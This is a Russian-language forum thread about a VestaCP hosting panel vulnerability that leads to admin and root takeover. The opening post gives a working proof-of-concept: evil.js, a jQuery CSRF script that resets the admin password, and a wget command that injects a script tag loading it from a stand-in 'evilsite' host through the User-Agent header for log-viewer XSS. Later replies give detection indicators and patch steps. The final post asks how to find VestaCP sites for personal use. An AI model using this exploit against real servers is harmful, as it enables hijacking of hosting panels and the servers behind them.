Серьёзная уязвимость в Vesta Control Panel

[hack-anonim]

В хостинговой панели VestaCP обнаружена уязвимость, который позволяет злоумышленнику получить админский доступ к панели (а дальше и рутовский к серверу).
​

Уязвимость базируется на сбросе пароля администратора.​

​

Последовательность взлома (восстанавливалась по логам, что конкретно за баг, пока не афишируется):​

1. Сброс пароля admin (?, как? тут явно дыра, это не брут)​
2. Выставляется bash для admin, модифицируется крон от админа, в профиле меняется мыло на [email protected]​
3. Дальше доступ в панель и ssh от admin с новым паролем.​

Сплоит для Весты:

Poc Exploit
================
1.Подготовьте js файл (evil.js):

function csrfWithToken(url,hanimisToken,password){
  $.get(url, function(gelen) {
    $('body').append($(gelen));
    $('form[id="vstobjects"]').css("display","none");
    var token = $(hanimisToken).attr("token");
    $('form[id="vstobjects"]').attr("action",url);
    $('input[name="v_password"]').val(password);
    $('form[id="vstobjects"]').submit();
  });
};
//password = 1234567
csrfWithToken("/edit/user/?user=admin","#token","123456");

2. Сделайте Get-запрос с этим js-файлом:
wget --header="Accept: text/html" --user-agent="<script src='http://evilsite/evil.js'></script>" http://victimserver

3. Дожидаемся когда администратор прочитает access.log, что сделает инъекцию нашего evil.js

4. Логинимся с изменённым паролем:
http(s)://victim:8083/

 

[AnGel]

Знал об этом уже как месяца два. В пн вышел патч.
Для тех у кого веста - service vesta stop, и врубаем только для проверки обновы!


Откуда это слито?
Массовые атаки пошли с китая по весте, они же и нашли уязвимость...

 

[hack-anonim]

Откуда это слито?

Пока рекомендую отключить панель командой:

service vesta stop

и проверить лог:system.log на следующие записи::

v-change-user-password 'admin' '******'
v-change-user-language 'admin' 'en'
v-change-user-shell 'admin' 'bash'
v-rebuild-cron-jobs 'admin'
v-change-user-contact 'admin' '[email protected]'
v-change-user-password 'admin' '******'
------------------------------------------------------
v-change-user-password 'admin' '******'
v-change-user-password 'admin' '******'
------------------------------------------------------
v-change-user-password 'admin' '******'

Если есть что-то похожее, то ваша система взломана !

 

[AnGel]

Как установить патч на эту уязвимость:

Подключаемся к серверу через SSH и проверяем обновления

sudo aptitude update

Устанавливаем обновления:

sudo aptitude safe-upgrade

После удачного обновления, вы увидите примерно подобную картинку:

 

[fenum]

как сайты найти с vesta cp подскажите =)
можно и под личный